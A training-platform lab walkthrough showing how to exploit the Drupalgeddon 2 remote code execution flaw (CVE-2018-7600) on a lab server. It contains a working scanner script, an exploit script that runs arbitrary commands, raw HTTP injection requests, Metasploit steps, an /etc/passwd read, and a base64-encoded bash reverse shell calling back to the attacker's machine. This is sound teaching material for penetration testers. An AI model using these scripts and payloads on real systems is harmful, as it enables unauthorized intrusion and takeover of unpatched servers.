Resources
    [CVE-2018-7600] Drupalged ...
    17 November 22

    [CVE-2018-7600] Drupalgeddon 2

    Posted byINE
    facebooktwitterlinkedin
    news-featured

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Purpose: We are learning how to exploit the Drupal server's vulnerable version using the Metasploit Framework and a Python script.

    Technical difficulty: Beginner

    Introduction

    In late March 2018, a critical vulnerability was uncovered in Drupal CMS. Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 versions were affected by this vulnerability.

    It allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or standard module configurations.

    A lot of PoC is available to exploit this vulnerability.

    Lab Environment

    In this lab environment, the user will get access to a Kali GUI instance. A vulnerable Drupal CMS is deployed on http://demo.ine.local. The CMS is vulnerable to Drupalgeddon Remote Code Execution (CVE-2018-7600)

    Drupalgeddon_2_0.png

    Tools

    The best tools for this lab are:

    - Metasploit Framework

    - Nmap

    - Bash Shell

    - Python

    - Burp Suite

    Objective: Exploit the Drupal CMS vulnerability and retrieve the flag!

    Solution

    1. Scanning and Identifying the running Drupal CMS
    2. Detecting the vulnerability
    3. Exploitation using Metasploit
    4. Manually Exploitation
    5. Writing a Python script

    Step 1: Open the lab link to access the Kali GUI instance.

    Drupalgeddon_2_1.jpg

    Step 2: Check if the provided machine/domain is reachable.

    Commands:

    ping -c 4 demo.ine.local

    Drupalgeddon_2_2.jpg

    The provided machine is reachable, i.e., demo.ine.local. Also found the target's IP address.

    Step 3: Check for open ports on the target machine.

    Command:

    nmap demo.ine.local

    Drupalgeddon_2_3.jpg

    Port 80 is open on the target machine. 

    Step 4: Run nmap on port 80 and find more about the running service.

    Command:

    nmap -p 80 -sS -sV demo.ine.local

    -p: Only scan specified ports

    -sS: TCP SYN/Connect()/ACK/Window/Maimon scans

    -sV: Probe open ports to determine service/version info

    Drupalgeddon_2_4.jpg

    The target is running Apache httpd 2.4.18 on port 80. 

    Step 5: Access the webserver using the firefox browser and find the running application

    URL: http://demo.ine.local

    Drupalgeddon_2_5.jpg

    Drupal CMS is running.

    Step 6: Access the CHANGELOG.txt file on the server. The version information should be present in this file. 

    URL: http://demo.ine.local/CHANGELOG.txt

    By default, the CHANGELOG.txt is present in the drupal archive https://ftp.drupal.org/files/projects/drupal-{VERSION}.tar.gz. So, if the admin hasn't deleted the file, we can quickly identify the running CMS version.

    Drupalgeddon_2_6.jpg

    The target is running Drupal 7.57, 2018-02-21 version.

    Search for the public exploit of the Drupal 7.57 application using searchsploit.

    About "searchsploit"

    searchsploit is a bash script that helps find exploits for services, OSes, and applications.

    Command:

    searchsploit drupal 7.57

    Drupalgeddon_2_6_1.jpg

    Drupal is vulnerable to remote command execution (RCE). Also, there is a Metasploit module available.

    Vulnerability Identification

    There is a python script developed by fyraiga. Run the script and confirm the vulnerability

    Code:

    #written by fyraiga 
    #POC adapted from FireFart CVE-2018-7600
    #import here
    import argparse
    import ipaddress
    import itertools
    import re
    import requests
    import sys
    import time
    #functions
    def exploit(ip_targets):
        send_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
        send_data = {'form_id':'user_pass', '_triggering_element_name':'name'}
        ipregex = re.compile("(\d{1,3}\.){3}\d{1,3}.*")
        num_scanned = len(ip_targets)
        num_vuln = 0
        time_start = time.time()
        for ip_target in ip_targets:
            result = ipregex.match(ip_target)
            ip_target = "http://"+ip_target
            if result is not None:
                r = None
                print("{:=<74}".format(""))
                print("[~] {:<60} [{:^7}]".format(ip_target, "..."), end="", flush=True)
                if verbose == True:
                    try:
                        r = requests.post(ip_target, data=send_data, params=send_params, timeout=3)
                    except requests.exceptions.Timeout:
                        print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                        print("{:>7} ERROR: Server seems to be down (Timeout)".format("--"))
                        continue
                    except requests.exceptions.ConnectionError:
                        print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                        print("{:>7} ERROR: Unable to connect to the webserver (Connection Error)".format("--"))
                        continue
                    except requests.exceptions.HTTPError:
                        print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                        print("{:>7} ERROR: 4xx/5xx".format("--"))
                        continue
                    except requests.exceptions.InvalidURL:
                        print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                        print("{:>7} ERROR: Invalid URL.".format("--"))
                        continue
                    except Exception:
                        print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                        print("{:>7} ERROR: Unexpected Error".format("--"))
                        sys.exit()
                    else: 
                        print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
                        print("{:>7} OK: Alive".format("--"))
                else:
                    try:
                        r = requests.post(ip_target, data=send_data, params=send_params, timeout=5)
                    except Exception:
                        print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                        continue
                    else:
                        print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
                #Finding block of data to check server type
                m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
                if m:
                    if verbose == True:
                        print("{:>7} OK: Server seems to be running Drupal".format("--"))
                    found = m.group(1)
                    send_params2 = {'q':'file/ajax/name/#value/' + found}
                    send_data2 = {'form_build_id':found}
                    r = requests.post(ip_target, data=send_data2, params=send_params2)
                    r.encoding = 'ISO-8859-1'
                    out = r.text.split("[{")[0].strip()
                    if out == "":
                        print("{:>7} Patched (CVE-2018-7600)".format("--"))
                        continue
                    else: 
                        print("{:>7} Vulnerable (CVE-2018-7600)".format("--"))
                        num_vuln += 1
                else:
                    print("{:>7} Doesnt seem like a Drupal server?".format("--"))
                    continue
            else:
                raise ValueError("Invalid IP Address")
        time_fin = time.time()
        print("{:=<74}".format(""))
        print("[+] {} target(s) scanned, {} target(s) vulnerable (CVE-2018-7600)".format(num_scanned, num_vuln))
        print("[+] Scan completed in {:.3f} seconds".format(time_fin-time_start))
    def process_file(target):
        hostlist = []
        try:
            file = open(target, "r")
            for line in file:
                hostlist.append(line.strip())
            exploit(hostlist)
        except FileNotFoundError:
            print("[!] Unable to locate file. Check file path.")
            sys.exit()
        except ValueError:
            print("[!] Invalid value in file. Ensure only IPv4 addresses exist!")
            sys.exit()
        except Exception as e:
            print(e)
            print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
            sys.exit()
    def process_multiple(target):
        hostlist = target.split(",")
        try:
            for data in hostlist:
                data = data.strip()
            exploit(hostlist)
        except ValueError:
            print("[!] Invalid Input. Only IPv4 addresses are accepted.")
            sys.exit()
        except Exception:
            print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
            sys.exit()
    def process_range(target):
        try:
            hostlist = []
            raw_octets = target.split(".")
            octets = [x.strip().split("-") for x in raw_octets]
            octet_range = [range(int(x[0]), int(x[1])+1) if len(x) == 2 else x for x in octets]
            for x in itertools.product(*octet_range):
                hostlist.append('.'.join(map(str,x)).strip())
            exploit(hostlist)
        except ValueError:
            print("[!] Invalid Input. Only IPv4 ranges are accepted.")
            sys.exit()
        except Exception as e:
            print(e)
            print("Unexpected Errror")
            sys.exit()
    def process_ip(target):
        try:
            exploit([target.strip()])
        except ValueError:
            print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.\n{:>7} Use -h to see other modes.".format("--"))
            sys.exit()
        except Exception:
            print("[!] Unexpected Error")
            sys.exit()
    def process_cidr(target):
        hostlist = []
        try:
            net = ipaddress.ip_network(target.strip(), strict=False)
            for host in net.hosts():
                hostlist.append(str(host))
            exploit(hostlist)
        except ValueError:
            print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.\n{:>7} Use -h to see other modes.".format("--"))
            sys.exit()
        except Exception:
            print("[!] Unexpected Error")
            sys.exit()
    #main here
    def main():
        parser = argparse.ArgumentParser(prog="drupalgeddon2-scan.py",
        formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50))
        try:
            parser.add_argument("target", help="IP of target site(s)")
            parser.add_argument('-c', "--cidr", default=False, action="store_true", help="Generate & scan a range given a CIDR address")
            parser.add_argument('-f', "--file", default=False, action="store_true", help="Retrieve IP Addresses from a file (1 per line)")
            parser.add_argument('-i', "--ip", default=True, action="store_true", help="Single IP Address (CIDR migrated to a seperate mode)")
            parser.add_argument('-m', "--multiple", default=False, action="store_true", help="Multiple IP Adddress e.g. 192.168.0.1,192.168.0.2,192.168.0.3")
            parser.add_argument('-r', "--range", default=False, action="store_true", help="IP Range e.g. 192.168.1-2.0-254 (nmap format)")
            parser.add_argument('-v', "--verbose", default=False, action="store_true", help="Provide a more verbose display")
            parser.add_argument("-o", "--http-only", default=False, action="store_true", help="To be implemented (Current state, https not implemented)")
            parser.add_argument("-s", "--https-only", default=False, action="store_true", help="To be implemented")
        except Exception:
            print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
            sys.exit()
        try:
            args, u = parser.parse_known_args()
        except Exception:
            print("[!] Invalid arguments!")
            sys.exit()
        #renaming variable
        global verbose 
        verbose = args.verbose
        #Verbose message
        print("[~] Starting scan...")
        #IP range in a CIDR format
        if args.cidr == True:
            process_cidr(args.target)
        #IPs from a file
        elif args.file == True:
            process_file(args.target)
        #Multiple IPs (separated w commas)
        elif args.multiple == True:
            process_multiple(args.target)
        #IP Range (start-end)
        elif args.range == True:
            process_range(args.target)
        #IP Address/CIDR
        elif args.ip == True:
            process_ip(args.target)
            
        #Unrecognised arguments
        else:
            print("[!] Unexpected Outcome! This should not be happening. Please inform me at Github!")
            sys.exit()
        sys.exit()
    #ifmain here
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print ("\n-- Ctrl+C caught. Terminating program.")
        except Exception as e:
            print(e)
            print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")

    Save the script on the attacker machine and run the script.

    Commands:

    nano scan.py

    <code>

    python3 scan.py 192.127.233.3

    Note: Provide only the target IP Address as an argument

    Drupalgeddon_2_6_2.jpg

    The target is vulnerable to CVE-2018-7600

    Step 7: Run the Metasploit framework and search for the drupal_drupalgeddon2 module.

    This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. Source: https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2/

    Commands:

    msfconsole -q

    search drupal

    use exploit/unix/webapp/drupal_drupalgeddon2

    Drupalgeddon_2_7.jpg

    Step 8: There is a Metasploit module available. Check all the available module options.

    Command:

    show options

    Drupalgeddon_2_8.jpg

    All options are already set. Configure LHOST and RHOSTS, then exploit the application.

    Check the attacker's machine IP address.

    Command:

    ip addr

    Drupalgeddon_2_8_1.jpg

    In this case it is 192.127.233.2. 

    Exploit Drupal CMS

    Commands:

    set RHOSTS demo.ine.local

    set LHOST 192.127.233.2

    set VERBOSE true

    check

    exploit

    Drupalgeddon_2_8_2.jpg

    Received a meterpreter session.

    Read the flag

    Command:

    ls

    cat THIS_IS_FLAG1212121

    Drupalgeddon_2_8_3.jpg

    FLAG: e0572f60b6e647a69a120cfd0bdfcaa4

    Successfully exploited the Drupal CMS using the metasploit framework.

    Manual Exploitation

    Before exploiting the vulnerability manually, first look into the technical details.

    The leading cause of this vulnerability is the Drupal Form API known as "Renderable Arrays." The vulnerability exists due to insufficient sanitation of inputs passed via Form API and AJAX requests. It is an extended API used to represent the structure of most of the UI elements in Drupal, i.e., pages, blocks, nodes, etc. An attacker can trigger the vulnerability by injecting a malicious render array responsible for RCE.

    The API was introduced in the drupal 7.0 version and is used for rendering structured data (Renderable Arrays) into HTML markup. 

    >In brief, Drupal had insufficient input sanitation on Form API (FAPI) AJAX requests. As a result, this potentially enabled an attacker to inject a malicious payload into the internal form structure. This would have caused Drupal to execute it without user authentication. By exploiting this vulnerability, an attacker would have been able to carry out an entire site takeover of any Drupal customer. Source: https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/

    How to exploit?

    First, send the malicious reander request to /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=<CMD>. Successful submission generates the form_build_id that is used for rendering the data which causes command execution, eg: file/ajax/name/#value/form-<ID>

    Burp Suite is a good tool for sending the POST request and exploiting the vulnerability.

    Step 9: Start burp suite and configure the proxy

    Drupalgeddon_2_9.jpg

    Click on Next

    Drupalgeddon_2_9_1.jpg

    Click on Start Burp

    Drupalgeddon_2_9_2.jpg

    Drupalgeddon_2_9_3.jpg

    Burp Suite is running. Switch the tab to Proxy

    Drupalgeddon_2_9_4.jpg

    The intercept is already on. Switch back to the firefox browser and enable the proxy.

    Go to the Right side of the firefox browser and click on the FroxyFoxy icon.

    Drupalgeddon_2_9_5.jpg

    Then, click on Burp Suite / ZAP config.

    Drupalgeddon_2_9_6.jpg

    The Burp Suite configuration is done. Access the /?q=user/password page, then click on E-mail new password and intercept the request.

    URL: http://demo.ine.local/?q=user/password

    Drupalgeddon_2_9_7.jpg

    Captured the request. Send the request to the burp repeater.

    Drupalgeddon_2_9_8.jpg

    Drupalgeddon_2_9_9.jpg

    Drupalgeddon_2_9_10.jpg

    Step 10: Inject the malicious render array.

    &name[#post_render][]=passthru&name[#type]=markup&name[#markup]=whoami

    Encoded

    &name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=whoami

    Modify the request and use the above-encoded value and send the request. Also, modify the headers.

    POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=whoami HTTP/1.1

    Host: demo.ine.local

    User-Agent: python-requests/2.20.0

    Accept-Encoding: gzip, deflate

    Accept: */*

    Connection: keep-alive

    Content-Type: application/x-www-form-urlencoded

    form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password

    Drupalgeddon_2_10.jpg

    Send the request

    Drupalgeddon_2_10_1.jpg

    Found the form build-id

    form-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY

    Drupalgeddon_2_10_2.jpg

    Send the request to render the form.

    POST /?q=file/ajax/name/#value/form-<id> HTTP/1.1

    Host: demo.ine.local

    User-Agent: python-requests/2.20.0

    Accept-Encoding: gzip, deflate

    Accept: */*

    Connection: keep-alive

    Content-Length: 62

    Content-Type: application/x-www-form-urlencoded

    form_build_id=form-<id>

    Encoded

    POST /?q=file%2Fajax%2Fname%2F%23value%2Fform-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY HTTP/1.1

    Host: demo.ine.local

    User-Agent: python-requests/2.20.0

    Accept-Encoding: gzip, deflate

    Accept: */*

    Connection: keep-alive

    Content-Length: 62

    Content-Type: application/x-www-form-urlencoded

    form_build_id=form-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY

    Use the above request to execute the whoami command on the target machine. The above request render the form and run the command on the system.

    1.jpg

    Drupalgeddon_2_10_4.jpg

    The whoami command returned an output www-data.

    This confirms the exploitation of the vulnerability. You could also send /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=cat+/etc/passwd request to read the /etc/passwd file. Follow both steps again.

    Exploiting Using Python

    Step 11: There are a lot of PoC available to exploit Drupalgeddon vulnerability.

    In this case, use a script created by Christian Mehlmauer: https://github.com/firefart/CVE-2018-7600/blob/master/poc.py

    import requests
    import re
    HOST="http://192.168.60.129/"
    get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
    post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
    r = requests.post(HOST, data=post_params, params=get_params)
    m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
    if m:
        found = m.group(1)
        get_params = {'q':'file/ajax/name/#value/' + found}
        post_params = {'form_build_id':found}
        r = requests.
    Modifying the script that accepts the target server and command arguments.
    import requests
    import re
    import argparse
    my_parser = argparse.ArgumentParser(description='Drupalgeddon Remote Command Execution')
    my_parser.add_argument('-T', '--URL', help='Target URL eg: http://demo.ine.local', type=str)
    my_parser.add_argument('-C', '--COMMAND', help='Command to execute eg: whoami', type=str)
    args = my_parser.parse_args()
    target = args.URL
    cmd = args.COMMAND
    get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':cmd, 'name[#type]':'markup'} 
    post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
    r = requests.post(target, data=post_params, params=get_params)
    m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
    if m:
        found = m.group(1)
        get_params = {'q':'file/ajax/name/#value/' + found}
        post_params = {'form_build_id':found}
        r = requests.post(target, data=post_params, params=get_params)
        print(r.text)

    Save the script and execute a command on the target machine.

    Commands:

    nano poc.py

    <code>

    python3 poc.py -h

    python3 poc.py -T http://demo.ine.local -C 'whoami; pwd'

    Drupalgeddon_2_11.jpg

    Both the commands were correctly executed on the target server and received an output.

    Get the reverse bash shell of the target server.

    Commands:

    echo 'bash -i >& /dev/tcp/192.127.233.2/4444 0>&1' | base64

    Drupalgeddon_2_11_1.jpg

    Final Command:

    echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTI3LjIzMy4yLzQ0NDQgMD4mMQo=' | base64 -d | bash -i

    Note: Make sure your attacker's machine IP address

    Start netcat listener on port 4444.

    Command:

    nc -lvp 4444

    Drupalgeddon_2_11_2.jpg

    Execute the script and the bash reverse shell command.

    Command:

    python3 poc.py -T http://demo.ine.local -C 'echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTI3LjIzMy4yLzQ0NDQgMD4mMQo=' | base64 -d | bash -i'

    id

    ip addr

    2.jpg

    Drupalgeddon_2_11_4.jpg

    Received the reverse shell. We have successfully exploited the Drupal server using the Metasploit Framework and a Python script. Also, we have learned how to exploit the CMS using the burp suite by modifying the requests. 

    References

    Drupal Drupalgeddon 2 Forms API Property Injection

    Uncovering Drupalgeddon 2

    Drupalgeddon 2 Vulnerability Used to Infect Servers With Backdoors & Coinminers

    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    © 2024 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo